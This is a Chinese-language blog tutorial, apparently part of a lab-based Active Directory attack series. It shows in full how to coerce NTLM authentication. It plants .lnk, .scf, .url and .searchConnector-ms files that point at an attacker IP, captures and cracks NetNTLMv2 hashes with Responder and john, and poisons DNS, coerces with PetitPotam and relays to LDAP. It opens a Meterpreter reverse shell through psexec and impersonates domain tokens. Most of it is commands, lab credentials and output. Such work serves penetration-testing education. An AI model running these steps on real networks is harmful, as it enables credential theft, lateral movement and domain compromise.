iT邦幫忙

2025 iThome 鐵人賽

DAY 27
0
Security

資安這條路:AD 攻防實戰演練系列 第 27

AD 攻防實戰演練 Day 27:域內強制認證與Session劫持 - 從檔案投毒到 RDP 劫持的進階攻擊技術

  • 分享至 

  • xImage
  •  

AD 攻防實戰演練

前言

在前面的文章中,我們學習了如何透過網路層面進行 NTLM Relay、Kerberos 攻擊等技術。今天要探討的是更加隱蔽且具威脅性的攻擊手法 - 利用 Windows 檔案系統特性強制使用者認證。這些攻擊不需要複雜的網路設定,只要能在共享資料夾中放置一個精心構造的檔案,就能在使用者毫不知情的情況下擷取其認證憑證。

這些技術在真實的滲透測試中極為有效,因為:

  • 無需使用者互動 - 只要開啟資料夾就會觸發
  • 隱蔽性極高 - 不會引起使用者警覺
  • 攻擊面廣 - 公司共享資料夾是完美的投放點
  • 可串連其他攻擊 - 與 NTLM Relay、SMB Relay 結合威力倍增

本日學習目標

  • 深入理解 Windows 檔案系統的認證機制
  • 掌握 .lnk、.scf、.url 等強制認證檔案的製作與運用
  • 學習 WebDAV 服務的利用與 PetitPotam 結合攻擊
  • 實作 Windows Token 模擬攻擊
  • 掌握 RDP Session劫持技術

Part 1:Windows 檔案強制認證原理

1.1 為什麼開啟資料夾會發送認證?

Windows 在顯示資料夾內容時,會嘗試載入檔案的圖示、縮圖、屬性等資訊。如果這些資訊存放在遠端 UNC 路徑,Windows 會自動使用目前使用者的憑證進行 SMB 認證。

認證觸發流程:

使用者開啟資料夾
    ↓
Explorer.exe 掃描資料夾內容
    ↓
發現檔案包含 UNC 路徑 (\\attacker\share\icon.ico)
    ↓
嘗試連接遠端路徑取得圖示
    ↓
自動發送 NTLM 認證封包
    ↓
攻擊者收到 NetNTLMv2 Hash

關鍵特性:

  • 完全自動化 - 不需點擊,只需「看到」檔案
  • 無感知攻擊 - 使用者完全不會察覺
  • 憑證洩漏 - 目前登入使用者的 NetNTLMv2

1.2 可利用的檔案類型

檔案類型 攻擊向量 觸發條件 隱蔽性
.lnk Icon 路徑 進入資料夾 ⭐⭐⭐
.scf Icon 路徑 進入資料夾 ⭐⭐⭐
.url Icon 路徑 進入資料夾 ⭐⭐⭐
.library-ms Library 定義 開啟檔案 ⭐⭐
.searchConnector-ms Search Connector 開啟檔案 ⭐⭐

Part 2:實戰 - 使用 .lnk 檔案強制認證

2.1 環境準備

攻擊場景設定:

  • 目標: WINTERFELL (子網域 DC)
  • 受害者: catelyn.stark (透過 RDP 模擬)
  • 攻擊者: arya.stark (已取得網域憑證)
  • 投放點: \castelblack\all (可寫入的共享資料夾)

網路拓撲:

攻擊者 (Kali)          受害者 (catelyn)       目標共享 (castelblack)
192.168.139.138      -->    RDP 連線              192.168.139.11
                      WINTERFELL             \\castelblack\all

2.2 啟動受害者 RDP Session

首先模擬真實使用者登入到域內電腦:

# 以 catelyn.stark 登入 WINTERFELL
xfreerdp3 /d:north.sevenkingdoms.local \
         /u:catelyn.stark \
         /p:'robbsansabradonaryarickon' \
         /v:winterfell.north.sevenkingdoms.local \
         /cert:ignore

為什麼要模擬 RDP Session?

  • 在真實環境中,使用者會透過 RDP 或直接登入使用域內電腦
  • 當使用者瀏覽共享資料夾時,會用其網域憑證進行認證
  • 這正是我們要攔截的目標

2.3 偵察目標共享資料夾

使用 crackmapexec 檢查 CASTELBLACK 的共享權限:

crackmapexec  smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    --shares

image

預期輸出:

SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [*] Windows 10 / Server 2019 Build 17763 x64 (name:CASTELBLACK) (domain:north.sevenkingdoms.local) (signing:False) (SMBv1:False)
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [+] north.sevenkingdoms.local\arya.stark:Needle
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      [+] Enumerated shares
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      Share           Permissions     Remark
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      -----           -----------     ------
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      ADMIN$                          Remote Admin
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      all             READ,WRITE      Basic RW share for all
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      C$                              Default share
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      IPC$            READ            Remote IPC
SMB         castelblack.north.sevenkingdoms.local 445    CASTELBLACK      public          READ            Basic Read share for all domain users

關鍵發現:

  • all 共享具有 READ,WRITE 權限
  • 這是完美的攻擊投放點
  • 公司內部常見此類「便利」但危險的共享設定

2.4 使用 crackmapexec 的 slinky 模組部署 .lnk 檔案

crackmapexec 提供了自動化的 .lnk 檔案部署模組:

crackmapexec  smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M slinky \
    -o NAME=.thumbs.db SERVER=192.168.139.138

image

參數解析:

  • -M slinky - 使用 slinky 模組 (自動建立 .lnk 檔案)
  • -o NAME=.thumbs.db - 檔案名稱 (以 . 開頭 = 隱藏檔案)
  • -o SERVER=192.168.139.138 - 攻擊者 IP (接收認證的伺服器)

模組運作原理:

# slinky 模組會建立類似這樣的 .lnk 檔案
[InternetShortcut]
URL=http://placeholder/
WorkingDirectory=C:\
IconFile=\\192.168.139.138\share\icon.ico
IconIndex=1

隱藏檔案的戰術考量:

  • 優點: 不會被一般使用者看到
  • 缺點: 只有開啟「顯示隱藏檔案」才會觸發
  • 建議: 真實滲透測試中使用正常檔名 (如 report.lnk)

2.5 啟動 Responder 監聽

在攻擊者機器上啟動 Responder 攔截認證:

responder -I eth1

Responder 運作流程:

1. 監聽 SMB (445)、HTTP (80) 等協定
2. 等待受害者連線
3. 回應 NTLM Challenge
4. 接收並記錄 NetNTLMv2 Response
5. 儲存到檔案供後續破解

2.6 觸發攻擊

在 catelyn.stark 的 RDP Session中:

  1. 開啟檔案總管
  2. 導航到: \\castelblack.north.sevenkingdoms.local\all
  3. 不需任何點擊 - 只要進入資料夾

image

發生了什麼?

catelyn 開啟 \\castelblack\all
    ↓
Explorer.exe 掃描資料夾
    ↓
發現 .thumbs.db.lnk 檔案
    ↓
嘗試載入圖示: \\192.168.139.138\share\icon.ico
    ↓
SMB 連線到 192.168.139.138
    ↓
發送 catelyn.stark 的 NetNTLMv2 認證
    ↓
Responder 攔截並記錄

2.7 取得認證結果

image

Responder 輸出:

[SMB] NTLMv2-SSP Client   : fe80::dd7f:8006:df5:48a8
[SMB] NTLMv2-SSP Username : NORTH\robb.stark
[SMB] NTLMv2-SSP Hash     : robb.stark::NORTH:6ba227f5cd77b28a:9FC4E9B8CDF9711D2E1887E47386F157:010100000000000000896F6D903ADC01DD6200712191C13E0000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000000000000300000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900160063006900660073002F0042007200610076006F0073000000000000000000

[SMB] NTLMv2-SSP Client   : 192.168.139.11
[SMB] NTLMv2-SSP Username : NORTH\catelyn.stark
[SMB] NTLMv2-SSP Hash     : catelyn.stark::NORTH:3b47254597767d58:07DAB9937867C21534DC5F5D37C296FD:010100000000000000896F6D903ADC010F392F578D0468E10000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000100000000200000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330039002E003100330038000000000000000000

成功取得:

  • ✅ 使用者名稱: catelyn.stark
  • ✅ 網域: NORTH
  • ✅ NetNTLMv2 Hash (可用於破解或 Relay)

2.8 後續攻擊路徑

選項 1: 破解 Hash

# 儲存 hash 到檔案
echo 'catelyn.stark::NORTH:3b47254597767d58:07DAB9937867C21534DC5F5D37C296FD:010100000000000000896F6D903ADC010F392F578D0468E10000000002000800420056004C00340001001E00570049004E002D004F00450038005500510054003300450036005900420004003400570049004E002D004F0045003800550051005400330045003600590042002E00420056004C0034002E004C004F00430041004C0003001400420056004C0034002E004C004F00430041004C0005001400420056004C0034002E004C004F00430041004C000700080000896F6D903ADC0106000400020000000800300030000000000000000100000000200000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100330039002E003100330038000000000000000000' > catelyn.hash

image

echo "robbsansabradonaryarickon" > password_list

john --format=netntlmv2 catelyn.hash --wordlist=password_list

image

2.9 清理痕跡

攻擊完成後務必清除惡意檔案:

crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M slinky \
    -o NAME=.thumbs.db SERVER=192.168.139.138 CLEANUP=true

image

從 RDP 可以看到檔案就不見了
image

Part 3:其他檔案類型攻擊

3.1 使用 .scf 檔案

crackmapexec 也提供 scuffy 模組部署 .scf 檔案:

crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M scuffy \
    -o NAME=@update.scf SERVER=192.168.139.138

image

.scf 檔案格式:

[Shell]
Command=2
IconFile=\\192.168.139.138\share\icon.ico
[Taskbar]
Command=ToggleDesktop

特性:

  • 檔案名稱加 @ 會排在最前面 (Windows 排序規則)
  • 使用者一進入資料夾就會先看到,更容易觸發

image

  • 移除檔案
# 使用 scuffy 模組的 CLEANUP 選項
crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M scuffy \
    -o NAME=@update.scf SERVER=192.168.139.138 CLEANUP=true

image

image

3.2 使用 .url 檔案

手動建立 .url 檔案:

# 建立惡意 .url
cat > clickme.url << 'EOF'
[InternetShortcut]
URL=http://click.me/pwned
WorkingDirectory=test
IconFile=\\192.168.139.138\%USERNAME%.icon
IconIndex=1
EOF

特殊變數利用:

  • %USERNAME% - 會展開為目前使用者名稱
  • 便於識別是哪個使用者觸發

上傳檔案:

~/.venvs/impacket/bin/smbclient.py \
    north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
use all
put clickme.url
exit

image

觸發條件:

  • 雖然檔名叫 "clickme",但不需點擊
  • 只要進入資料夾就會觸發認證
sudo responder -I eth1 -v

image

一樣可以接收到 hash

image

image

# 使用 smbclient 刪除
~/.venvs/impacket/bin/smbclient.py \
    north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
	
smb: \> use all
smb: \all\> del clickme.url
smb: \all\> ls
smb: \all\> exit

image

image

Part 4:WebDAV 強制認證進階攻擊

4.1 WebDAV 客戶端檢測

xfreerdp3 /d:essos.local \
         /u:khal.drogo \
         /p:'horse' \
         /v:192.168.139.23 \
         /cert:ignore
Get-Service WebClient

image

WebClient 服務說明:

  • Windows 預設不啟用 (Windows Server)
  • Windows 工作站預設安裝但停止
  • 一旦啟動,可用於 WebDAV 強制認證

4.2 設定受害者環境

使用另一個網域 (essos.local) 的帳號作為受害者:

xfreerdp3 /d:essos.local \
         /u:khal.drogo \
         /p:'horse' \
         /v:192.168.139.23 \
         /cert:ignore

場景說明:

  • BRAAVOS 伺服器已安裝 WebClient (自訂配置)
  • 但服務目前是停止狀態
  • 我們要透過特殊檔案自動啟動這個服務

4.3 部署 .searchConnector-ms 檔案

手動建立惡意檔案:

<?xml version="1.0" encoding="UTF-8"?>
<searchConnectorDescription
xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">
<description>Microsoft Outlook</description>
<isSearchOnlyItem>false</isSearchOnlyItem>
<includeInStartMenuScope>true</includeInStartMenuScope>
<templateInfo>
<folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType>
</templateInfo>
<simpleLocation>
<url>https://whatever/</url>
</simpleLocation>
</searchConnectorDescription>

或使用 crackmapexec 模組:

crackmapexec smb castelblack.north.sevenkingdoms.local \
    -u arya.stark \
    -p 'Needle' \
    -d north.sevenkingdoms.local \
    -M drop-sc \
    -o NAME=outlook.searchConnector-ms \
       URL=https://whatever/

image

4.4 觸發 WebClient 服務啟動

在 khal.drogo 的 RDP Session中:

  1. 導航到 \\castelblack\all

image

  1. 進入資料夾 (看到 .searchConnector-ms 檔案)

神奇的事情發生:

# 檢查服務狀態
Get-Service WebClient

Status   Name               DisplayName
------   ----               -----------
Running  WebClient          WebClient

image

WebClient 自動啟動了!

原理解析:

  • .searchConnector-ms 檔案需要 WebDAV 協定支援
  • Windows 檢測到需要 WebDAV
  • 自動啟動 WebClient 服務
  • 這是 Windows 功能設計,不是漏洞

4.5 建立 DNS 投毒記錄

為了讓 Responder 能接收請求,需要建立 DNS 記錄:


git clone https://github.com/dirkjanm/krbrelayx
cd krbrelayx
pip install dnspython ldap3 impacket

# 使用 dnstools.py 新增 DNS 記錄
python3 dnstool.py \
    -u 'north.sevenkingdoms.local\arya.stark' \
    -p Needle \
    --record 'responder' \
    --action add \
    --data 192.168.139.138 \
    192.168.139.11

image

參數說明:

  • --record 'responder' - DNS 名稱
  • --data 192.168.139.138 - 指向攻擊者 IP
  • 192.168.139.11 - DC 的 IP (執行 DNS 修改)

DNS 記錄結果:

responder.north.sevenkingdoms.local -> 192.168.139.138

4.6 使用 PetitPotam 強制 WebDAV 認證

PetitPotam 是一個強制認證工具,可以觸發目標主機連線到我們的伺服器:

# 強制 BRAAVOS 透過 HTTP/WebDAV 認證到 responder
~/.venvs/petitpotam/bin/petitpotam.py \
    -u 'arya.stark' \
    -p Needle \
    -d 'north.sevenkingdoms.local' \
    "responder@80/random.txt" \
    192.168.139.23

image

參數解析:

  • "responder@80/random.txt" - 目標 URL (HTTP/WebDAV)
  • 192.168.139.23 - 受害者機器 (BRAAVOS)
  • @80 - 使用 HTTP 協定 (而非 HTTPS)

也可以使用 NetBIOS 名稱:

# 如果 Responder 的 NetBIOS 名稱是 WIN-6WQ7CSHQ2YG
python3 PetitPotam.py \
    -u 'arya.stark' \
    -p Needle \
    -d 'north.sevenkingdoms.local' \
    "WIN-6WQ7CSHQ2YG@80/random.txt" \
    192.168.139.23

4.7 Responder 接收認證

Responder 輸出:

[WebDAV] NTLMv2 Client   : 192.168.139.23
[WebDAV] NTLMv2 Username : ESSOS\BRAAVOS$
[WebDAV] NTLMv2 Hash     : BRAAVOS$::ESSOS:794dd30d39070aaa:2452EC13A0C59AA894778CBDBD316A65:0101000000000000C76C8900B93ADC015AE45EAE097DE0E600000000020008004900310052004E0001001E00570049004E002D0052005200460059004D004F004E003500440037005500040014004900310052004E002E004C004F00430041004C0003003400570049004E002D0052005200460059004D004F004E0035004400370055002E004900310052004E002E004C004F00430041004C00050014004900310052004E002E004C004F00430041004C000800300030000000000000000000000000400000C93DAE91995A85551D27A81F4AC55D25F18F050CC71AB2D14ECB2371112674D60A001000000000000000000000000000000000000900340048005400540050002F0072006500730070006F006E006400650072002E006C006F00630061006C0064006F006D00610069006E000000000000000000

image

HTTP 認證的特殊價值:

  • 可以 Relay 到 LDAP (如果未啟用 LDAP Signing)
  • 可以執行 Shadow Credentials 攻擊
  • 可以執行 RBCD (Resource-Based Constrained Delegation)
  • 可以直接查詢 LDAP 資訊

4.8 HTTP 到 LDAP 的 Relay 攻擊

# 啟動 ntlmrelayx 針對 LDAP
ntlmrelayx.py \
    -t ldap://192.168.139.11 \
    --escalate-user khal.drogo \
    --delegate-access

可能的攻擊結果:

  1. Shadow Credentials - 新增金鑰到使用者物件
  2. RBCD - 設定資源型委派
  3. 新增使用者 - 建立新的電腦帳戶
  4. ACL 修改 - 改變物件權限

查看 log

┌──(impacket)─(kali㉿kali)-[~]
└─$ ls -la /usr/share/responder/logs/*.txt
-rw-r--r-- 1 root root 4056 Oct 11 10:16 /usr/share/responder/logs/SMB-NTLMv2-SSP-fe80::dd7f:8006:df5:48a8.txt

┌──(impacket)─(kali㉿kali)-[~]
└─$ cat /usr/share/responder/logs/SMB-NTLMv2-SSP-fe80::dd7f:8006:df5:48a8.txt
eddard.stark::NORTH:923755ad3c2dd7f1:1C37CC7538F86AEEC70694AE182A2F1A:010100000000000000D433FC973ADC0178B7108208D575310000000002000800390049003000380001001E00570049004E002D0043005A0053005900450057005A00520033003300500004003400570049004E002D0043005A0053005900450057005A0052003300330050002E0039004900300038002E004C004F00430041004C000300140039004900300038002E004C004F00430041004C000500140039004900300038002E004C004F00430041004C000700080000D433FC973ADC0106000400020000000800300030000000000000000000000000300000EC9DC4C5820EDFD26C12AD9B6C525C7409450F95D0D11AED94973631598BB5000A001000000000000000000000000000000000000900140063006900660073002F004D006500720065006E000000000000000000

image

Part 5:Token 模擬攻擊

5.1 Token 模擬原理

Windows Access Token 包含了使用者的完整安全上下文,是作業系統識別使用者身份的關鍵資料結構。

Token 的組成要素:

Access Token 內容:
├── User SID(使用者安全識別碼)
├── Group SIDs(群組成員資格)
├── Privileges(特權清單)
├── Default DACL(預設存取控制清單)
└── Session ID(工作階段識別碼)

模擬攻擊的運作原理:

當使用者登入 Windows 系統後,即使使用者已經登出或中斷連線,其 Token 可能仍保留在系統記憶體中。如果攻擊者擁有足夠的權限(通常是本機管理員或 SYSTEM),就可以「借用」這些 Token 來假冒其他使用者的身份執行操作。

實際攻擊情境:

攻擊者以 jeor.mormont(本機管理員)登入 CASTELBLACK
    ↓
發現 robb.stark 曾經登入過(Token 還在記憶體中)
    ↓
使用 Token 模擬技術「借用」robb.stark 的身份
    ↓
以 robb.stark 的身份存取網域資源

關鍵技術要點:

  • 需要 SeImpersonatePrivilege 或 SeAssignPrimaryTokenPrivilege 特權
  • 通常需要管理員權限或 SYSTEM 權限
  • 目標使用者的 Token 必須存在於記憶體中
  • 可以模擬任何曾經登入過該主機的使用者

5.2 使用 Metasploit 進行 Token 模擬攻擊

環境準備

目標資訊:

  • 目標主機:CASTELBLACK (192.168.139.22)
  • 攻擊帳號:jeor.mormont(本機管理員)
  • 可用 Token:robb.stark、sql_svc

步驟 1:確認目標有可用的 Token

# 檢查目前登入使用者
~/.venvs/impacket/bin/wmiexec.py \
    north.sevenkingdoms.local/jeor.mormont:'_L0ngCl@w_'@192.168.139.22 \
    "query user"

輸出範例:

 USERNAME              SESSIONNAME        ID  STATE   IDLE TIME  LOGON TIME
 robb.stark                                2  Disc        21:50  10/7/2025 6:54 AM

image

解讀:

  • robb.stark 的工作階段 ID 為 2
  • 狀態為 Disc(已中斷連線)
  • 雖然已中斷,但 Token 可能仍在記憶體中

步驟 2:啟動 Metasploit Framework

msfconsole

成功啟動後會看到:

       =[ metasploit v6.4.64-dev                          ]
+ -- --=[ 2519 exploits - 1296 auxiliary - 431 post       ]
+ -- --=[ 1610 payloads - 49 encoders - 13 nops           ]
+ -- --=[ 9 evasion                                       ]

msf6 >

image

步驟 3:設定 PSExec 模組

msf6 > use exploit/windows/smb/psexec
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp

設定目標主機:

msf6 exploit(windows/smb/psexec) > set RHOSTS 192.168.139.22
RHOSTS => 192.168.139.22

設定網域名稱:

msf6 exploit(windows/smb/psexec) > set SMBDomain north.sevenkingdoms.local
SMBDomain => north.sevenkingdoms.local

設定使用者帳號:

msf6 exploit(windows/smb/psexec) > set SMBUser jeor.mormont
SMBUser => jeor.mormont

設定密碼:

msf6 exploit(windows/smb/psexec) > set SMBPass _L0ngCl@w_
SMBPass => _L0ngCl@w_

設定 Payload:

msf6 exploit(windows/smb/psexec) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

設定監聽位址(您的 Kali IP):

msf6 exploit(windows/smb/psexec) > set LHOST 192.168.139.138
LHOST => 192.168.139.138

image

步驟 4:執行攻擊

msf6 exploit(windows/smb/psexec) > exploit

執行過程輸出:

[*] Started reverse TCP handler on 192.168.139.138:4444
[*] 192.168.139.22:445 - Connecting to the server...
[*] 192.168.139.22:445 - Authenticating to 192.168.139.22:445|north.sevenkingdoms.local as user 'jeor.mormont'...
[*] 192.168.139.22:445 - Selecting PowerShell target
[*] 192.168.139.22:445 - Executing the payload...
[*] Sending stage (203846 bytes) to 192.168.139.22
[+] 192.168.139.22:445 - Service start timed out, OK if running a command or non-service executable...
[*] Meterpreter session 1 opened (192.168.139.138:4444 -> 192.168.139.22:50041)

image

成功建立 Meterpreter 工作階段!

步驟 5:載入 Incognito 模組

meterpreter > load incognito
Loading extension incognito...Success.

Incognito 模組功能:

  • 列舉系統中可用的 Token
  • 模擬其他使用者的 Token
  • 管理 Token 權限

image

步驟 6:列舉可用的 Token

meterpreter > list_tokens -u

輸出結果:

Delegation Tokens Available
========================================
Font Driver Host\UMFD-0
Font Driver Host\UMFD-1
Font Driver Host\UMFD-2
NORTH\jeor.mormont
NORTH\robb.stark
NORTH\sql_svc
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
NT SERVICE\SQLTELEMETRY$SQLEXPRESS
Window Manager\DWM-1
Window Manager\DWM-2

重要發現:

  1. NORTH\robb.stark - 網域使用者,雖然已登出但 Token 仍在記憶體中
  2. NORTH\sql_svc - SQL Server 服務帳號,通常擁有較高權限
  3. NT AUTHORITY\SYSTEM - 系統最高權限

Token 類型說明:

  • Delegation Tokens(委派權杖):可以在網路上使用,適合進行橫向移動
  • Impersonation Tokens(模擬權杖):僅能在本機使用

步驟 7:確認目前身份

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

目前已經是 SYSTEM 權限,這是本機的最高權限。

image

步驟 8:模擬 robb.stark 的 Token

meterpreter > impersonate_token "NORTH\\robb.stark"
[+] Delegation token available
[+] Successfully impersonated user NORTH\robb.stark

注意事項:

  • 必須使用雙反斜線 \\ 來跳脫
  • 網域名稱和使用者名稱都要正確
  • 成功訊息會顯示 "Successfully impersonated"

步驟 9:驗證身份變更

meterpreter > getuid
[-] stdapi_sys_config_getuid: Operation failed: Access is denied.

getuid 指令失敗是正常現象,這是因為權限從 SYSTEM 降到一般使用者。

image

使用 shell 驗證:

meterpreter > shell
Process 6692 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.7792]

C:\Windows\system32> whoami
north\robb.stark

成功!現在的身份是 robb.stark

5.3 驗證模擬成功並執行操作

檢查目前使用者資訊

C:\Windows\system32> whoami /all

image

完整輸出結果:

USER INFORMATION
----------------

User Name        SID
================ =============================================
north\robb.stark S-1-5-21-3845383931-1370366697-225289965-1113


GROUP INFORMATION
-----------------

Group Name                                 Type             SID                                           Attributes
========================================== ================ ============================================= ==================================================
Everyone                                   Well-known group S-1-1-0                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545                                  Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Desktop Users               Alias            S-1-5-32-555                                  Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\REMOTE INTERACTIVE LOGON      Well-known group S-1-5-14                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4                                       Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11                                      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15                                      Mandatory group, Enabled by default, Enabled group
LOCAL                                      Well-known group S-1-2-0                                       Mandatory group, Enabled by default, Enabled group
NORTH\Stark                                Group            S-1-5-21-3845383931-1370366697-225289965-1106 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1                                      Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

輸出內容分析:

使用者資訊部分:

  • User Name: north\robb.stark - 確認已成功模擬為 robb.stark
  • SID: S-1-5-21-3845383931-1370366697-225289965-1113 - 使用者的安全識別碼

群組成員資格分析:

群組名稱 類型 意義
Everyone 萬用群組 所有使用者都屬於此群組
BUILTIN\Users 本機群組 基本使用者權限
BUILTIN\Remote Desktop Users 本機群組 可透過 RDP 登入
NT AUTHORITY\INTERACTIVE 萬用群組 可互動式登入
NT AUTHORITY\Authenticated Users 萬用群組 已通過認證的使用者
NORTH\Stark 網域群組 屬於 Stark 家族群組

特權資訊分析:

  • SeChangeNotifyPrivilege (已啟用): 允許繞過目錄遍歷檢查,可以存取檔案路徑中的所有目錄
  • SeIncreaseWorkingSetPrivilege (已停用): 增加處理程序工作集的能力

關鍵發現:

  1. robb.stark 是 BUILTIN\Remote Desktop Users 成員,表示可以 RDP 登入
  2. 屬於 NORTH\Stark 網域群組,可能有特定的網域資源存取權
  3. 權限相對受限,沒有系統管理員等級的特權

檢查網域使用者資訊

C:\Windows\system32> net user robb.stark /domain

image

完整輸出結果:

The request will be processed at a domain controller for domain north.sevenkingdoms.local.

User name                    robb.stark
Full Name                    robb.stark
Comment                      Robb Stark
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            9/7/2025 10:32:38 AM
Password expires             Never
Password changeable          9/8/2025 10:32:38 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   10/11/2025 7:57:07 AM

Logon hours allowed          All

Local Group Memberships      *Administrators
Global Group memberships     *Stark                *Domain Users
The command completed successfully.

網域帳號資訊解析:

基本資訊:

  • User name: robb.stark
  • Full Name: robb.stark
  • Comment: Robb Stark(完整姓名)

帳號狀態:

  • Account active: Yes(帳號啟用中)
  • Account expires: Never(永不過期)
  • Password expires: Never(密碼永不過期)

密碼政策:

  • Password last set: 2025/9/7(最後設定密碼時間)
  • Password changeable: 2025/9/8(可更改密碼的最早時間)
  • Password required: Yes(需要密碼)
  • User may change password: Yes(使用者可自行更改密碼)

登入資訊:

  • Last logon: 2025/10/11 7:57:07 AM(最後登入時間)
  • Logon hours allowed: All(允許全天候登入)
  • Workstations allowed: All(可從任何工作站登入)

群組成員資格(重要發現):

群組類型 群組名稱 權限範圍 意義
Local Group Administrators CASTELBLACK 本機 robb.stark 是 CASTELBLACK 的本機管理員!
Global Group Stark 整個 north 網域 Stark 家族成員群組
Global Group Domain Users 整個 north 網域 所有網域使用者的預設群組

關鍵發現分析:

  1. 本機管理員權限: robb.stark 是 CASTELBLACK 的 Administrators 群組成員,這表示:

    • 擁有 CASTELBLACK 主機的完全控制權
    • 可以安裝軟體、修改系統設定
    • 可以存取其他使用者的檔案
    • 這是重要的權限提升發現
  2. 密碼政策寬鬆:

    • 密碼永不過期(安全風險)
    • 允許使用者自行更改密碼
  3. 無登入限制:

    • 可從任何工作站登入
    • 24 小時都可登入
    • 增加了攻擊面

嘗試存取網域資源

測試存取網域控制站 WINTERFELL:

C:\Windows\system32> dir \\winterfell\c$

輸出結果:

 Volume in drive \\winterfell\c$ is Windows 2019
 Volume Serial Number is 9458-49FB

 Directory of \\winterfell\c$

09/07/2025  10:24 AM             1,521 dns_log.txt
05/11/2021  09:55 PM    <DIR>          PerfLogs
09/07/2025  08:50 AM    <DIR>          Program Files
05/11/2021  09:41 PM    <DIR>          Program Files (x86)
09/07/2025  10:11 AM    <DIR>          setup
09/07/2025  06:13 AM    <DIR>          tmp
09/30/2025  08:39 AM    <DIR>          Users
10/02/2025  07:30 AM    <DIR>          Windows
               1 File(s)          1,521 bytes
               7 Dir(s)  45,742,538,752 bytes free

成功存取! robb.stark 可以存取網域控制站 WINTERFELL 的 C$ 共享。

測試列舉 KINGSLANDING 的共享資源:

C:\Windows\system32> net view \\kingslanding

輸出結果:

Shared resources at \\kingslanding

Share name  Type  Used as  Comment
-------------------------------------------------------------------------------
CertEnroll  Disk           Active Directory Certificate Services share
NETLOGON    Disk           Logon server share
SYSVOL      Disk           Logon server share
The command completed successfully.

image

網域資源存取分析:

WINTERFELL(north 網域的 DC):

  • 可存取 C$ 管理共享
  • 發現 dns_log.txt 檔案(可能包含敏感資訊)
  • 可看到完整的目錄結構
  • 表示 robb.stark 對 DC 有較高的存取權限

KINGSLANDING(sevenkingdoms 網域的 DC):

  • 可列舉共享資源
  • 發現三個標準 DC 共享:
    • CertEnroll: 憑證註冊服務共享(ADCS)
    • NETLOGON: 登入指令碼和群組原則共享
    • SYSVOL: 網域群組原則和登入指令碼共享

權限評估總結:

目標主機 網域 存取層級 可執行操作
CASTELBLACK north 本機管理員 完全控制
WINTERFELL north 管理共享存取 讀取系統檔案、潛在的橫向移動
KINGSLANDING sevenkingdoms 列舉共享 資訊收集、可能的跨網域攻擊

攻擊價值分析:

  1. 已證實橫向移動能力:

    • robb.stark 可以存取 north 網域的 DC(WINTERFELL)
    • 可以列舉父網域(sevenkingdoms)的資源
  2. 發現敏感檔案:

    • dns_log.txt 可能包含網域基礎設施資訊
    • SYSVOL 共享可能包含群組原則和指令碼
  3. 潛在的提權路徑:

    • 透過 ADCS(CertEnroll)可能進行憑證相關攻擊
    • SYSVOL 中的群組原則可能包含密碼或憑證
    • 作為本機管理員可在 CASTELBLACK 上部署更多工具

建議後續行動:

